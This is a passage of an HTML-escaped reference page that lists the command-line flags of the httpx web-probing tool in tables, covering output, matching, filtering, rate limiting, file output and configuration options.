    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-server, -web-server&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display server name&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-td, -tech-detect&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display technology in use based on wappalyzer dataset&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-method&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display http request method&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-websocket&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display server using websocket&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ip&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display host ip&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-cname&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display host cname&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-asn&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display host asn information&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-cdn&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display cdn/waf in use (default true)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-probe&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display probe status&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-headless-options&quot;&gt;httpx Headless Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ss, -screenshot&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;enable saving screenshot of the page using headless browser&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-system-chrome&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;enable using local installed chrome for screenshot&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-esb, -exclude-screenshot-bytes&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;enable excluding screenshot bytes from json output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ehb, -exclude-headless-body&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;enable excluding headless header from json output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-match-in-response&quot;&gt;httpx Match in Response&lt;/h3&gt;

&lt;p&gt;Allows httpx to match something in the server response header / body / http response code or url etc.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mc, -match-code string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with specified status code (-mc 200,302)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ml, -match-length string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with specified content length (-ml 100,102)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mlc, -match-line-count string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response body with specified line count (-mlc 423,532)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mwc, -match-word-count string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response body with specified word count (-mwc 43,55)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mfc, -match-favicon string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with specified favicon hash (-mfc 1494302000)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ms, -match-string string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with specified string (-ms admin)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mr, -match-regex string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with specified regex (-mr admin)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mcdn, -match-cdn string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match host with specified cdn provider (cloudfront, fastly, google, leaseweb, stackpath)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mrt, -match-response-time string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with specified response time in seconds (-mrt &apos;&amp;lt; 1&apos;)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-mdc, -match-condition string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;match response with dsl expression condition&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-extract-regex-strings&quot;&gt;httpx Extract Regex Strings&lt;/h3&gt;

&lt;p&gt;Allows httpx to extract regex strings from the reponse.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-er, -extract-regex string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response content with matched regex&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ep, -extract-preset string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response content matched by a pre-defined regex (mail, url, ipv4)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-filters&quot;&gt;httpx Filters&lt;/h3&gt;

&lt;p&gt;Filter by response code, length, server version, error page, url etc&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fc, -filter-code string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with specified status code (-fc 403,401)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fep, -filter-error-page&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with ML based error page detection&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fl, -filter-length string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with specified content length (-fl 23,33)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-flc, -filter-line-count string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response body with specified line count (-flc 423,532)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fwc, -filter-word-count string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response body with specified word count (-fwc 423,532)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ffc, -filter-favicon string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with specified favicon hash (-ffc 1494302000)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fs, -filter-string string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with specified string (-fs admin)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fe, -filter-regex string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with specified regex (-fe admin)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fcdn, -filter-cdn string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter host with specified cdn provider (cloudfront, fastly, google, leaseweb, stackpath)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-frt, -filter-response-time string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with specified response time in seconds (-frt &apos;&amp;gt; 1&apos;)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fdc, -filter-condition string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filter response with dsl expression condition&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-strip&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;strips all tags in response. supported formats: html,xml (default html)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-rate-limiting&quot;&gt;httpx Rate Limiting&lt;/h3&gt;

&lt;p&gt;Limit the number of requests httpx can make per second / per minute and configure the number of threads.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-t, -threads int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;number of threads to use (default 50)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rl, -rate-limit int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;maximum requests to send per second (default 150)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rlm, -rate-limit-minute int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;maximum number of requests to send per minute&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;misc-httpx-commands&quot;&gt;Misc httpx Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-pa, -probe-all-ips&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;probe all the ips associated with same host&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-p, -ports string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;ports to probe (nmap syntax: eg http:1,2-10,11,https:80)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-path string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;path or list of paths to probe (comma-separated, file)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-tls-probe&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;send http probes on the extracted TLS domains (dns_name)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-csp-probe&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;send http probes on the extracted CSP domains&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-tls-grab&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;perform TLS(SSL) data grabbing&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-pipeline&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;probe and display server supporting HTTP1.1 pipeline&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-http2&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;probe and display server supporting HTTP2&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-vhost&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;probe and display server supporting VHOST&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ldv, -list-dsl-variables&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;list json output field keys name that support dsl matcher/filter&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-update&quot;&gt;httpx Update&lt;/h3&gt;

&lt;p&gt;How to update httpx + how to disable auto update.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-up, -update&lt;/code&gt;&amp;lt;/code&amp;gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;update httpx to latest version&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-duc, -disable-update-check&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;disable automatic httpx update check&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-file-output&quot;&gt;httpx File Output&lt;/h3&gt;

&lt;p&gt;httpx output file options.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-o, -output string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;file to write output results&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-oa, -output-all&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;filename to write output results in all formats&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-sr, -store-response&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;store http response to output directory&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-srd, -store-response-dir string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;store http response to custom directory&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-csv&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;store output in csv format&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-csvo, -csv-output-encoding string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;define output encoding&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-j, -json&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;store output in JSONL(ines) format&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-irh, -include-response-header&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include http response (headers) in JSON output (-json only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-irr, -include-response&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include http request/response (headers + body) in JSON output (-json only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-irrb, -include-response-base64&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include base64 encoded http request/response in JSON output (-json only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-include-chain&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include redirect http chain in JSON output (-json only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-store-chain&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include http redirect chain in responses (-sr only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-svrc, -store-vision-recon-cluster&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;include visual recon clusters (-ss and -sr only)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-config-options&quot;&gt;httpx Config Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-config string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;path to the httpx configuration file (default $HOME/.config/httpx/config.yaml)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-r, -resolvers string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;list of custom resolver (file or comma separated)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-allow string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;allowed list of IP/CIDR&apos;s to process (file or comma separated)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-deny string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;denied list of IP/CIDR&apos;s to process (file or comma separated)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-sni, -sni-name string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;custom TLS SNI name&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-random-agent&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;enable Random User-Agent to use (default true)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-H, -header string[]&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;custom http headers to send with request&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-http-proxy, -proxy string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;http proxy to use (eg http://127.0.0.1:8080)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-unsafe&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;send raw requests skipping golang normalization&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-resume&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;resume scan using resume.cfg&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fr, -follow-redirects&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;follow http redirects&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-maxr, -max-redirects int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;max number of redirects to follow per host (default 10)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-fhr, -follow-host-redirects&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;follow redirects on the same host&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rhsts, -respect-hsts&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;respect HSTS response headers for redirect requests&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-vhost-input&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;get a list of vhosts as input&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-x string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;request methods to probe, use &apos;all&apos; to probe all HTTP methods&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-body string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;post body to include in http request&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-s, -stream&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;stream mode - start elaborating input targets without sorting&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-sd, -skip-dedupe&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;disable dedupe input items (only used with stream mode)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ldp, -leave-default-ports&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;leave default http/https ports in host header (eg. http://host:80 - https://host:443)&lt;/p&gt;&lt;/td&gt;
